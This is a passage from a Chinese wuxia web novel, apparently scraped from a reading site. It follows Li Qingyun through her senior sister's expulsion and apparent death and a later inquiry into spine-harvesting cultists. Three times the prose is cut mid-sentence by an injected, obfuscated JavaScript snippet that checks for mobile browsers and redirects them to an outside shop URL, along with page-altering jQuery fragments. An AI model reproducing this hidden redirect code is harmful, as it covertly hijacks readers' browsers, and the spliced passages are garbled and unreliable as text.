贺岳峙怒极反笑,手中剑锋一转,换了另一种路数。若说方才他与李青筠比的是力,那如今就比的是速。他手中的剑身瞬间轻灵起来,游鱼一般滑向李青筠的颈间,她勉强架住,剑刃却一触即走,眨眼间又是两次蛇吐信子似的轻击。 比快,李青筠如今还比不过剑法更为醇熟的师傅。所以当贺岳峙再一次提剑刺来时,她将全身力气放在手腕,硬生生别停了对方的攻势。 此时二人听闻“咔”一声轻响,目光触及剑刃,俱是一愣。 两柄剑不知何时砍出了豁口,恰好卡在一处。 事已至此,贺岳峙以为该停了。他正要张口,却见李青筠忽然一沉肩,一股极大的力道由剑身蔓延至手臂—— “嘣”地一声,剑断了! 断的不是贺岳峙的剑,他却觉得手中骤然一轻,下一刻,颈间生凉。 他低头看了眼抵在颈前的断刃,听到李青筠轻笑一声。此时另外半截被崩飞的剑身才从空中坠下,直插在几丈外的地上,仍在嗡嗡作响。 “师傅,还再来吗?” 贺岳峙看着眼前意气风发的少年,头一次不得不承认自己已经老了。 “剑都断了,还来什么?”他说,“李青筠,你出师了。” — 李青筠转头就将自己众目睽睽之下剑指师傅的事迹讲给大师姐听,大师姐听得喜忧参半:“不错,剑术又有长进。但是师傅一把年纪了,你就不能在人前给他留些颜面?” “他给我留过颜面吗?”李青筠来劲儿了,指着自己脸上身上的淤青给她看,“你看这儿是他一剑抽在我脸上,这儿是他把我打得在空中转了三个圈才落地!他就是想把我当陀螺抽!” 大师姐说:“一会儿随我回草堂,给你抹些药。” 李青筠随手捡起块扁石头,朝着河里打水漂,“大师姐,你天天磨这块破铁磨了三年,烦不烦啊?” “还好。”大师姐拿起那把已经快要成型的剑看了看,“反正我也没什么事做。看,这把剑很快就好了。” “正好我的剑今天断了。”李青筠说。 大师姐拿起手边的酒壶喝了一口,继续埋头磨剑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399766|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心吧,这一柄不会断。” 李青筠忽然问:“师姐,你说如果我的剑和肖青凛的刀互相砍,谁能赢过谁?” “你为何要与他互砍?”大师姐看她一眼,意有所指地警告道,“我还活着,你们别想整反目成仇这一出。” “可是他最近真的很奇怪。”李青筠闷闷地踹了一脚石头,“十次找他,有九次都不在山里。就连今日我出师继任峰主他也没来。” “也许是山下之事缠身。”大师姐说。 “他总和我说什么‘侠之大者,为国为民’,而月下十九峰的人只沉湎于武艺,担不起‘侠客’之称,所以他才要时常下山行侠仗义。大师姐,你说他会不会某一天彻底离开月下十九峰,再也不回来了?” “若他真要走,你拦得住吗?”大师姐淡淡地说道,“人各有志,随他去。” 李青筠蹲在她身边,撑着下巴问:“那你觉得怎样才算是‘侠客’?” “我不知道。”她这次连头都没有抬,声音很轻,刚说出口就被后山凛冽的风卷走,“总归不会是我这样的废人。” 李青筠觉得大师姐变了很多。 她的潇洒,她的张扬,似乎都随着那根脊骨一同被剥离出去,只剩下一个越来越寡言少语的、安静的躯壳。 在说完那句话后,二人之间的空气一时沉默下来,只有陨铁与石头摩擦的“唰唰”声尴尬地回响。这是李青筠待在大师姐身边第一次感觉到不自在,她伸手将地上的草一根根拔起,直到手边的一大片草地都遭了殃后,大师姐才终于拿着快要成型的陨铁剑起身,拍了拍衣摆的灰尘,对李青筠说:“以后没事就别来找我了。” 后来李青筠继任剑峰峰主,开山收徒,也渐渐忙碌起来,有时甚至忘记了后山还有那么一个人在。她时常琢磨肖青凛说的那些话,也试着去山外走走看看。听说西边有山匪作乱,她就千里迢迢杀去,途径并州悬空寺,与一群武僧打了三天三夜,差点忘了自己此行目的。待到了西边,山匪没找着,倒是因为比武打伤了某个大门派的天骄,被长老门生一顿追杀,最后只能灰溜溜跑回了月下十九峰。 看来她是做不来行侠仗义的壮举了,还是安安分分找人比武来得痛快些。 21.第 21 章 可惜武林并没有和平太久,三年之期未到,魔教就率先翻脸,发兵攻打荆州青城山。那些道士四散求援,求来月下十九峰时,李青筠正为肖青凛自请除名离山之举气得冒烟。 她不知道为什么在这种紧要关头肖青凛却要离开月下十九峰,孤身一人跑去突厥救了个什么楚王世子回来。但魔教没有给她留下纳闷的机会,屠了青城山,又调转剑锋朝向荆州的小门派。荆州之后又是扬州、徐州、兖州,由南向北,步步紧逼。 武林盟会当年的缓兵之计似乎是为了暗中布置什么,魔教侵扰的那些门派纷纷佯装不敌,很快全派上下人去楼空,因此伤亡极少。教主有些摸不着头脑,认为是自己手中有了剑骨天下无敌,但抓不着人,只能放火烧了门派示威。 截天教只用半年时间就打到了幽州。月下飞天镜素有盛名,教主也因此心生警惕,停在幽州界外止步不前。 贺岳峙命十九峰的青字一辈守山,自己则与武林盟会的数十位长老前去收网。这群人用三年时间利用幽州地势布下阵法。阵法源于九黎滕氏一族的养蛊之法,入阵者集天地之灵气入体,因此内力大增,足以与手握魔剑的教众抗衡。但同时,此阵杀到最后,只有一人能活着出来。 活下来的是贺岳峙。 李青筠再见到师傅时,他双腿已残,还瞎了一只眼睛。她将贺岳峙背在背上,一步步爬上主峰,途径一条通往后山的岔路时,贺岳峙让她停下。 他的声音苍老又沙哑:“带我去见她。” 李青筠下意识顶嘴:“大师姐肯定不想见你。” 话虽这么说,她还是背着师傅去了后山。这些日子兵荒马乱,更没人想得起后山还有一个活人,李青筠看见通向草堂的那条小径已经被杂草覆盖,心中顿时难过又自责。 草堂的门虚掩着,一股浓浓的酒气从缝隙里流淌出来。李青筠敲了敲门,等了半晌,才听见屋里一个醉醺醺的声音响起。 “今日不见客。” 贺岳峙说:“是我。” 屋里的人笑了一声,问道:“你又是谁?” “我来告诉你,我们赢了。” 说完这句,他与屋里的人都陷入了沉默。贺岳峙重重地叹了一口气,对李青筠说:“走吧。” 正邪一战,最终以正派的胜利告终,可是这场胜利也十分惨烈。武林盟会那些德高望重的长老几乎全部覆没,盟主也受了重伤;众多门派被烧,重建不知要建到何时。武林上下一时悲喜交加。 很快,质疑的声音响起。 “凭什么月下飞天镜毫发无伤,我们的门派却被烧得连渣都不剩?” “魔教主址就在荆州,为什么不直接将阵法设在此处,而要放任魔教打到幽州?” “怕不是贺盟主以权谋私,想要削弱各处门派,好让月下十九峰一家独大吧!” 还有人想起了当年献给魔教求和的剑骨。 “她当年怎么做出这种糊涂事?如今就算铲除了魔教,这事听着也不光彩啊。” “剑骨应该毁了吧?现在的乱子都是这东西害的。匹夫无罪,怀璧其罪啊!” “她不是号称武林第一吗,就应该冲进魔教先把那教主宰了,把剑骨拱手让人又算什么?窝囊!” “那贺盟主是她师傅,她又是月下十九峰的大师姐。与魔教一战死了多少长老,偏偏这两个人活了下来,说不定是合谋要月下十九峰独掌武林!” “这话在理,毕竟魔教邪法只是号称被焚毁,万一有人起了私心暗中炼制魔剑,谁也保不准会不会有第二个魔教出世。” 此话一出,甚嚣尘上,议论愈演愈烈,甚至有人将月下飞天镜与曾经的魔教作比。就连月下十九峰内都有门生渐渐动摇,心生怀疑。 贺岳峙伤重身残,将大部分盟会之事交由门徒云青鹤处理。李青筠了解她二师兄的性子,就是个整天笑呵呵的老好人,最擅长的事是和稀泥,她与云青鹤说了很多次,要他管一管山里山外的流言,云青鹤都只会捧着茶杯一脸为难地说“此事还需周旋一番”。 李青筠只知道他再周旋几番,外面的人八成都要举起大旗来讨伐月下十九峰了。于是她又去找师傅,希望他老人家能想出个办法。 贺岳峙并非两耳不闻窗外事,他倒是有心解释,但没人听得进去。盟会之中,相熟的老朋友都已魂归黄泉,独留他一人风烛残年。那些年轻的、义愤填膺的脸孔,高喊着要始作俑者出面请罪。 而这个始作俑者,就是他的首徒。 - 这是贺岳峙第二次来到后山。 没有人背他,他独自推着轮椅,以一种负荆请罪般的姿态前往后山。他足足走了一天一夜,好几次从轮椅上摔下,然后再靠双臂支撑着爬回去。 抵达草堂门前,正是夜深时分。贺岳峙想等天亮后再进去寻人,却抬头在草堂顶上看到了一个模糊的轮廓。 她躺在屋顶饮酒,分明看见了贺岳峙,却依旧视若无睹。虫鸣、鸟啼,远处的飞瀑击石,声如碎玉。不知过了多久,天边渐渐泛白时,贺岳峙忽然双手用力撑起身躯,残废的双腿不受控制地向前倾倒。他跪在了地上。 两膝触地的一瞬间,他仅余一只的昏花老眼看到屋顶上的人动作一滞,似乎下意识想要伸手扶他,最后还是僵在了原地。 良久,她叹了一口气。 “师傅,我已经没有第二条脊骨给您了。” 贺岳峙双手撑在地上,无颜看她,声音低哑地说:“是为师对不住你……可为师真的没有办法了。山内外人心惶惶,都说……月下飞天镜会成为下一个魔教。” 她向来心如明镜,似乎猜到了贺岳峙此行的目的,问道:“师傅想要我怎么做?” “为师希望你能出面,向武林……谢罪。” 这话说出口,贺岳峙自己都觉得荒谬,但他不得不继续说下去。 “……随后离开月下飞天镜,以平息议论。” 她没有说话。贺岳峙连忙补充道:“你只要离山就好,为师会在山外给你安置住处,你依然是月下飞天镜的人。” 他越说越觉愧疚,想起自己从前如何对这个首徒视若己出,将她培养成惊才绝艳的武林魁首。当初剔骨之事本就是自己对不起她,亲眼看着自己的孩子一朝跌落,成了行走都极为艰难的废人,他的心也在与那根剑骨一同滴血。 可是他没有办法。他不仅是师傅,还是月下飞天镜的一峰之主,更是肩负武林的贺盟主。魔教之患好不容易平息,武林损伤惨重,年长的一辈战死,年轻的一辈尚且稚嫩,贺岳峙不能看着武林再起内乱、自相残杀。 他能做的,只有舍一人以救天下。 “只是离山,不够。”她忽然说。 贺岳峙不解:“什么……?” 她跃下屋顶,俯身扶起贺岳峙,看着师傅皱纹横生的老脸,叹息道:“师傅应当将我逐出师门。” 只有犯了大错的门生才会被逐出师门,在离山之前还要领受五十“还恩鞭”,以偿还师门恩情。 将她逐出师门,的确是最好的解法。这样一来,所有的罪责都归她一身,离山之后无论是仇是怨,都与月下飞天镜毫无干系了。 “可、可是,你本就伤重难愈,五十鞭下去安有命在?!” “这里是我的家。”她说,“若是这一具残躯,能为月下飞天镜与师傅排忧解难,我心甘情愿。” - 李青筠刚登上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404446|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主峰,就察觉这里的氛围不太对劲。 她一把抓住捧着茶杯不住叹息的二师兄,问道:“山里怎么了?” 云青鹤欲言又止,摇了摇头。李青筠放开他打算去问旁人,一步迈出去,却忽然发现脚下石砖一片暗红色,像是已经干涸许久的血。 “有人来找麻烦,你们动手了?”李青筠心头一紧,连声追问,“人呢?杀了?” 云青鹤说:“没人来过。” “那这是什么?”李青筠指着石砖上的血痕。 旁边一个年纪尚幼的男孩走上前,扯了扯她的袖子解围:“小师姑,是师祖下令所有人都不许议论这件事。” 李青筠看着那一片血痕,心中莫名有些焦躁不安。她睨了那男孩一眼,正想问“哪来的小孩”,目光忽然触及他腰侧那柄熟悉的佩刀“无归”,顿时心头火起,一把甩开他。 “我只不过出去半月,门里就有了我不能知道的事?”她冷笑,“贺岳峙让你闭嘴你就闭嘴,纪明川,你果然和你那个师傅一样,是条听话的好狗!” 这话说得过分,纪明川被她推倒在地上,吓得眼眶泛红说不出话来。 “青筠!”云青鹤斥她一句,伸手扶起纪明川,“没有半点为人师长的样子!” 李青筠的目光一一扫过云青鹤、纪明川,以及一众门生,问道:“你们都不说是吧?” 众人面面相觑,表情十分复杂地低下了头。 “好,那我——” “师傅!” 忽然,一个女孩从山下气喘吁吁地跑来,大喊一声打断了她的话。 李青筠意外道:“明恕?你怎么来主峰了?” “师傅,你终于回来了!”薛明恕一头扎进她怀里,说话都带着哭腔。 她对除纪明川之外的几个小辈还算“有点为人师长的样子”,摸了摸薛明恕的头:“到底发生了什么事?” 薛明恕抬起脸,泪眼朦胧地将周围的人都恶狠狠瞪了一遍,最后看向李青筠:“师傅,他们不告诉你,我告诉你!” “——师祖把大师姑逐出门了!” 李青筠听到这句话,脑中“嗡”地一声,瞬间一片空白。 大师姐,逐出师门。 还恩鞭。 血…… 好多血。 “她人呢?”李青筠听见自己的牙齿在咯咯发颤。 “这已经是……好几天前的事了。”薛明恕抽噎着说,“大师姑背上流了好多血,她、她不让人跟着,什么也没带,独自一人下山去了。” 一个身受重伤的濒死之人独自在山中行走,会发生什么? 月下十九峰地广人稀,许多地方都没有人踏足过,山势险峻,危险不计其数。她甚至都走不出这一座大山。 “后来……后来二师叔带人去搜山,只找回了……” 薛明恕说不下去了,“哇”地一声哭了出来。 云青鹤深深地叹了一口气,替她把话说完:“只找回了一件残破的外衣,以及上面的绝笔血书。” “苍生不负,惟负此生。” 霎那间,不可遏止的愤怒将李青筠所有的理智占据。 “不可能!大师姐不会死!!”她怒吼,“你们凭什么说那是她的绝笔?!我不信!!” 她的手颤抖得厉害,掌心渗出冷汗,好几次才将剑拔出鞘来。 “我自己去找!她不会死,一定不会!” 然后她独自一人进山,几乎将十九峰上上下下里里外外搜了个遍,去过的、没去过的地方,她都看过。 没有。 一个活生生的人,就这样在世上消失得无影无踪。 苍生不负,惟负此生。 22.第 22 章 “后来,不知道李青筠从何处得知剑骨没有被毁,而是被魔教余孽带到了扬州。于是她就一路追过去,杀了大半的人,总算夺回了剑骨。”朴七说,“那些魔教余孽,就是花褪残红的前身,双方就此结了大仇,所以才不断有刺客追杀她。” 程奚抓住了重点:“所以那把引起血雨腥风的魔剑就在李青筠手里?” 朴七“嘘”他一声:“这种话你最好别当她面说。对她而言,那根本不是什么魔剑,只是她师姐的遗骸罢了。” “原来如此。” 程奚托着下巴假装沉思,见朴七终于起身离开牢房,连忙拽住程灵大声哀嚎:“妹啊!咱俩这次真的要完蛋了!” 程灵难得没嫌他烦,也有些苦恼地蹙起了眉。 “我应该没听错吧,朴帮主说那个和李青筠有仇的魔教护法叫什么来着?逐鹿,逐鹿啊!”程奚狂抓头发,“咱妈不就叫程逐鹿吗?!” 小时候他问过自己与程灵身世,师傅倒是半点没隐瞒,说自己当年在山里遇到一个濒死的女人,自称程逐鹿,是魔教中人,她托孤一女一子,正是程灵与程奚。 魔教中人,名为“逐鹿”,看起来怎么也不可能只是个巧合。 “万一李青筠知道咱俩的身世……”程奚问,“你说咱俩还有活着的风险吗?” 这次程灵也拿不准了。虽然武林有规矩祸不及家人,但是看李青筠那副苦大仇深的样子,说不定一冲动就要把她俩砍了下菜。 “……先瞒着吧。”程灵有些不自在地偏过头,“就假装不知道。” 程奚干笑:“好、好简单粗暴的办法,哈哈哈。” 不过目前也只能这样了。 程灵霍然起身道:“天马上就要亮了,我们不能再等,现在就启程回天姥山。” “啊,这么突然吗?”程奚坐了几天大牢还有点舍不得,但目光触及程灵严肃的表情,立刻跳起来,“回回回!现在就回!” “我先出去引开金翎卫,你趁机离开,去客栈接上小玉。我们在城门外汇合,若午时之前我没有到,你就去找——” 程奚说:“你放心,要是你被抓了,我就去求朴帮主救你!” “……好。”程灵原本想让他求助于李青筠,但是转念一想,要是日后李青筠知道了她的身世,定会后悔自己救了仇人的女儿。那倒不如从此刻起就与对方划清关系。 她提着刀穿过狭窄的甬道时,四面漆黑的墙壁沉沉压下来,程灵觉得心口有些发闷。她想起不久前还与李青筠约定日后比武,如今却要不辞而别。 但是她的亲生母亲告诉魔教教主剑骨所在,从而引发了之后的悲剧,间接害死了李青筠的大师姐。易地而处,若她是李青筠,她定然会不顾一切将这些魔教余孽斩尽杀绝。 也许世事都是这样,阴差阳错。 程灵心情沉重地踏出牢房大门,深吸一口气,做好了再被金翎卫羞辱一番的准备。然而一抬头,她竟发现昨夜伤她最重的那个金翎卫正被倒吊在郡衙公堂的房梁上。 “……?” 程灵揉了揉眼,再一看,不止他一人,还有十来个金翎卫都被倒吊着,一字排开,颇像卤肉铺卖烤鸭的阵式。 这些人的双手双腿被捆着,嘴也被堵得严严实实,正含混不清地发出“呜呜”惨叫,蚕蛹一样扭来扭去挣扎着。 “啪”一声清脆的鞭响,李青筠从倒吊的金翎卫中抱着臂悠悠穿过,问道:“谁第一个动的手?” 她似乎也没有听到正确答案的兴致,抬起手中柳条又是重重一抽。 “啪!” 一鞭下去,程灵并没有在他们身上看到血痕。但中鞭之人表情极其痛苦,不住地挣扎,她忽然反应过来,李青筠应当是用了内力。 李青筠一抬眼看到了程灵,朝她一招手:“来。” 程灵点点头,走出去好几步才忽然想起自己此行初衷好像是要逃跑来着。 怎么就好巧不巧撞上了李青筠,还有,她这是在……审讯金翎卫?为了调查“白蛇”之事? 话说回来,不应该是金翎卫审讯她们这群人吗…… “傻站着干什么,嗯?”李青筠见她站在原地不动,有些疑惑。 看样子暂时是跑不掉了。但不知为何,程灵的心里反倒松了一口气。 她忽然想起自己手里还提着刀,担心李青筠误会,连忙收刀入鞘,这才走上前去。 只见李青筠又抬手抽了一鞭:“说不说?” 金翎卫感觉自己的五脏六腑都要被这一柳条震碎,剧痛之下他竟一口吐出了塞在嘴里的布,歇斯底里地大喊:“你倒是让我开口说话啊!我招!我全都招!!别打了!!!” “迟了。”李青筠一笑,“你们的债主来了。” 说罢,她将柳条递到程灵手中:“昨晚谁伤过你?打就是了,不必手软。” 程灵愣了愣。心想,李青筠是在为她出气? 李青筠见她呆呆的一动不动,以为她没有内力不好下手,于是一把攥住程灵的手腕,温热的内力自掌心源源不断地传入对方体内, “这个人,眼熟吗?” 她一把扳过某个金翎卫的脸让程灵看,程灵其实记得不太清,露出一丝纠结的神色。 “忘了?” 那人还以为自己逃过一劫,刚要松口气,下一刻李青筠却攥着程灵的手臂高高抬起,接着又重又快地在他胸口抽了一鞭! 速度太快,足足两个呼吸之后,剧痛才在身上炸开,恍惚间他觉得自己的整个上半身都被扔在烈火中灼烧。 而李青筠已经领着程灵去看下一个人。 “这个呢?” 这个金翎卫的脸程灵倒是有点印象,不过他没有动手,似乎只是嘲笑过她一句“找死”。 程灵觉得一句“找死”不至于挨那么重一鞭,摇了摇头。但她余光瞥到了身旁的李青筠,忽然很想知道,如果她说了谎,李青筠会不会生气? 于是她又点了点头。 那个无辜的金翎卫双眼猝然瞪大,满脸写着一个“冤”字,拼命地摇头。但李青筠根本没给他一个多余的眼神,握着程灵的手腕反手给了他一鞭。 接着又轮到下一个。 程灵有点心虚,回头看了那人一眼。对方双眼简直要喷出火来,死死地瞪着她。 李青筠像是后脑勺长了眼睛,转身挑眉问:“怎么,你不服?” 话音未落,她抬手又是一鞭。程灵连忙移开视线,假装无辜地抬头看天。 两个人就这样在郡衙公堂前不分青红皂白地抽完一个抽一个。房梁长度有限,现下倒吊的十五个金翎卫抽完,堂中还五花大绑着剩下的二十多个。李青筠换了一批崭新的上去,随后公堂里再次回响起清脆的“啪!”“啪!”声。 早起来应卯的衙役都围在几丈之外小心翼翼地看着,也没人敢上前制止,生怕李青筠一个不高兴把自己也吊起来打。有几个还算机灵,见势不好连忙跑去后院搬救兵。 后院有一间书房,平日里太守在此批阅卷宗,偶尔会小憩一番。如今太守已死,肖凛以金翎卫头目的身份接手此案,他身份特殊,又没人敢让他去仵作间躺地板,于是这些日子肖凛便暂住书房之中。 清晨时分他被一阵噼里啪啦的声音吵醒时,还以为是谁家老人在晨起抽陀螺,就没在意,按了按隐隐作痛的太阳穴倒头继续睡过去。没过多久,书房的门就被“砰砰砰”敲得震天响,外面有人在大喊:“大人快醒醒!出大事了!” 肖凛昨夜几乎没睡,现在很是头疼。不过他也没迁怒于人,清了清嗓子温声问道:“什么事?” “出大事了”这句话他最近翻来覆去听了不下百遍,从太守被杀,到抓捕嫌犯,再到嫌犯在牢房里饮酒作乐还来去自如,肖凛自认为已经能够心态平和地应对一切“大事”。 ——不过这次的大事还是有点出乎意料了。 “大人,有两个恶徒绑了金翎卫,在公堂上把他们当陀螺抽啊!” 肖凛觉得自己应该还在做梦,不然怎么会有人敢对金翎卫动手。 他闭上眼,打算重新睡上一觉。但屋外的衙役还在大力敲门。 好吧,原来不是梦。 肖凛赶到公堂时,李青筠正在抽第三批人,旁边还站着看好戏的朴七。 “你一大早跑哪儿去了?”李青筠问,“我累死累活绑人的时候你不在,现在倒跑出来看现成的热闹。” “刚去外头吃了碗汤面。”朴七打了个嗝,“你们幽州的面不如豫州,下次过去我请你吃烩面,香得很。” 李青筠埋怨她:“你吃早饭怎么不喊我?我也饿着呢。” 朴七没好气道:“谁刚刚在牢里狗叫着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411053|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去杀人?我敢触你霉头吗?” “你打我的时候也没留手啊!” “懒得和你吵。”朴七说着侧身让开,露出站在不远处的肖凛,“喏,你仇人来了。” 这不是二人结下死仇后第一次见面了,但肖凛还是僵立在原地。看着活生生的李青筠,他不敢动,也不敢呼吸。 与他相比起来,李青筠倒是自在很多:“咦,这么巧?” 肖凛垂在身侧的手指微微一蜷,涩然道:“……是啊,好巧。” 李青筠笑了:“见我活着,你很意外?” 肖凛摇了摇头。 朴七趁机看热闹不嫌事大地撺掇:“打起来!打起来!” 看到一旁不明情况的程灵,朴七撞了撞她的肩:“来来来,和我一起喊。打起来!打起来!” “……” 程灵会跟着她一起起哄才是见鬼了,她往旁边躲了躲,一手攥住刀柄,时刻紧盯着肖凛的举动。 她担心肖凛见杀人不成,再对李青筠下手,丝毫没意识到自己已经完全忘了逃跑这回事。 肖凛环视了公堂中的一片狼籍,说:“你不该对金翎卫动手。” 李青筠道:“不该?哪儿有那么多不该。我还不该活着,现在不还是好端端站在这里?” 她还是这样的风格,肖凛说一句,她就要回敬十句。 “更何况,我这是为了找出杀太守的真凶。”李青筠说着,慢悠悠踱步到一个倒吊着的金翎卫身旁,“我们幽州界内惨死了一位父母官,我作为不知名的热心百姓为他申冤,这叫什么?——‘行侠仗义’啊!我有错吗?” 她伸手拍了拍那个金翎卫的脸,扯下他口中的布,问道:“你说呢?嗯?” 那人像是被她打怕了,连连摇头:“您没错,您没错!” 李青筠又看向肖凛:“肖大人,您说呢?” 肖凛沉声道:“你不必羞辱他们,把人放了。” “可是据我所知,真凶就藏在这群金翎卫之中。”李青筠说,“大人这是打算包庇下属,将无辜之人送上断头台?” “无辜之人”朴七立刻很配合地扯着嗓子哭嚎:“俺不知道啊!俺在家里吃着饭,忽然就哗啦啦冲进来一群官爷把俺给绑走了!可怜了俺那一锅七肥三瘦的五花肉啊!” 听者伤心,闻者落泪——当然不可能,周围的衙役又不傻,朴七这几日如何在牢里饮酒作乐他们还是有所耳闻的。 不过既然有人声称真凶是金翎卫,想必不仅有证据,还得有十足的胆量。 李青筠随手拽过一个衙役:“来,你说,太守是怎么死的?” 衙役看看她,看看肖凛,又看看满屋的金翎卫,眼珠子转了一圈,只敢支支吾吾地说:“是……是被捅了心口,额……应该是。” 李青筠问:“你亲眼见过他的尸身吗?” “尸身……尸身放在仵作间,”衙役浑身直冒冷汗,“金翎卫的大人们守着,我……我……我没看过。” 李青筠说:“那你现在可以去看了。或者搬出来,让大家都一睹为快,毕竟活太守常见,死太守难得。” 到底谁想看这种东西啊!! 衙役简直快要哭了:“大侠您放过我吧,我就是来当个差挣点工钱。要是听了您的话,一会儿您拍拍屁股走了,我还有命活吗……” 李青筠一愣,下意识道:“有我在,自然不会让你——” “可是您保得了我一时,保得了我一世吗?”衙役苦笑,索性说了个痛快,“干我们这一行的,成天被各路大侠随手打晕,更倒霉的还要被灭口。可我就是个平头老百姓,实在不想知道太守是怎么死的,我只想多活几年,供闺女念书,给我爹养老送终……” “好了,别说了。”李青筠的心情忽然烦躁起来,也不知是对那衙役,还是对她自己。她从衙役身侧拔出佩刀,在对方惊恐的眼神之下抬手一挥—— “唰”地一声,近处一个金翎卫身上的绳索被齐齐斩断,他终于得了自由,连滚带爬躲到肖凛身后,心有余悸地看着李青筠。 他向肖凛告状:“大人,这个女人——” 李青筠打断他:“去,把太守尸身搬出来。” 这金翎卫昨天还不把肖凛放在眼里,此时却下意识抬头看他脸色。 肖凛叹息道:“瞒不住的,去吧。” 23.第 23 章 尸身在不见天日的仵作间闷了许久,甫一搬出来非但没有受到大家的热烈欢迎,反而将人群逼得退避三舍。 李青筠道:“若太守是死于心口一刀,那他后背的伤口——呕。不好意思,后背的伤口,呕!” 两声干呕毁掉了她游刃有余的姿态,李青筠连忙捏着鼻子退场,朝朴七抬了抬下巴示意她开口。 朴七也被熏得睁不开眼,连忙把责任推卸给程灵:“妹妹你来,呕,我受不了了好臭!” 程灵上前,面不改色地掀开白布,将尸身翻到背面,展示出那道贯穿整个后背的狰狞伤口。 随后,她将伤口分开,说道:“他被剖开后背,取走了脊骨。” 此话一出,当即唤醒了几个年纪稍长的衙役的恐怖记忆。 “取走脊骨……我想起来了,二十年前有许多人都是这么死的!那时魔教要用人的脊骨炼剑,就到处抓人取骨……” 魔教极盛之时遍布九州四十六郡,为炼制魔剑,他们会抓走一大堆人关押起来,先取一人脊骨扔进炼炉,若是炼制失败就再取一根。往往数百根人骨才能成功炼制一柄魔剑,而死去的尸首,他们会故意悬在城门之上以示恐吓。 “我记得当年、当年城门上密密麻麻全是尸首,每天都有人在死……那些血流下来,把城墙都浸透了……!” 而且魔教为了大量炼制魔剑,根本不管对方根骨如何、是不是武林中人,就算是街上一个弯腰曲背的老头被他们看到也会随手抓去。人在他们眼中简直不是活生生的同类,而只是炼剑的耗材。 但凡如今有四五十岁的中年人,大多都亲身经历过那一段人人自危的恐怖时期。整个中原都被魔教的阴云笼罩,虽然朝廷和武林盟会都派出了大批人马,但魔教教众根本除不尽,如同野草般春风吹又生。 还有一个年轻的衙役说:“我爹曾经被魔教抓走过,幸好他命大,被一个武林大侠救了出来。我爹亲眼见过别人被取骨,那些魔教教众声称活人的脊骨效果更佳,于是将人直接按在地上活剖!取走了脊骨,那人一时死不掉,还会在地上挣扎很久才咽气……” 这一番话让所有人都不寒而栗,自己的后背也隐隐作痛起来。 “可是魔教不是早就被铲除了吗?炼制魔剑的邪法也被彻底毁了,怎么现在还会有人被剥去脊骨?!”一人面露惊恐,声音颤抖着说出那个可怕的猜测,“难道!难道他们马上就要卷土重来了?!!” 程灵说:“不是马上,是已经。” 她擦去手上的污渍,接住朴七凌空扔过来的账册:“这本账册,是我在太守府内发现的。里面是近三年来太守与某个买家交易‘白蛇’的往来记录,太守会在每月初一前往鬼市卖出十数条‘白蛇’,每条十两银子。” 有人插嘴:“什么蛇能值十两银子?还有,我们在说魔教之事,小姑娘你扯得太远了吧!” 程灵不理会他,继续说:“昨日就是初一,我与这位前辈亲身前往鬼市,找到了‘白蛇’的买家。我们发现,所谓‘白蛇’,其实是指人的脊骨。而这十两银子,就是一个活人的买命钱。” 当年李青筠的大师姐被取走脊骨却没有死,一方面是因为武林人身强体健,另一方面是谯城华家的神医为她剔骨,并以蛇骨作为替代。 但对于一个普通人而言,若被取走了整条脊骨,基本上就与死无异,只是能苟延残喘多久的问题。没人知道太守手中每月那十几条脊骨是夺来的,还是与人自愿交易。 如今只知他凭“白蛇”牟利,也因“白蛇”而死。 李青筠道:“魔教余孽暗中炼剑至少已有三年,但就我所知,中原目前还没有魔剑现世。这群人也许还在尝试复原邪法,因此每月都需要大量人骨进行试验。” 随后,她看向肖凛:“这位大人,虽然当年剿灭魔教的紧要关头你当了逃兵,但你多少也亲历过那段年月。明知魔教余孽想要卷土重来,你又为何隐瞒此事?” 肖凛说:“我……只是想暗中调查,以免闹得人心惶惶……” “是吗?敢问大人,您打算查些什么?”李青筠似笑非笑道,“是不是打算再拖上几日,然后假装郡衙走水,一把火烧了太守的尸骸?” 肖凛抬眼看她,半晌,自嘲一笑。 “……原来我在你心中已经成了这样的人吗?” 朴七最看不惯他装出这一副凄风苦雨小白花的作态,心直口快道:“大哥,你都要杀她了,难不成还要人家心里记着你的好啊?你要点脸行吗?——受不了了我有点恶心,你别跟他扯淡了,流程直接跳到指认真凶行不行?” 李青筠一把提起那个方才去搬尸首的金翎卫,语速飞快:“此人就是凶手!” “???” 不止在场的人没反应过来,连那个金翎卫自己都不知道发生了什么,正大张着嘴一脸愕然。 幸好程灵反应还算快,立即拔刀上前架在那金翎卫喉间。她认出此人就是昨夜伤她最重的那个,似乎姓张名狂,方才李青筠重点关照,抽了这人十来鞭,甚至还有一鞭抽在脸上。 张狂肿着半边脸大喊:“关我屁事啊!我怎么可能是凶手?你不要血口喷人!” 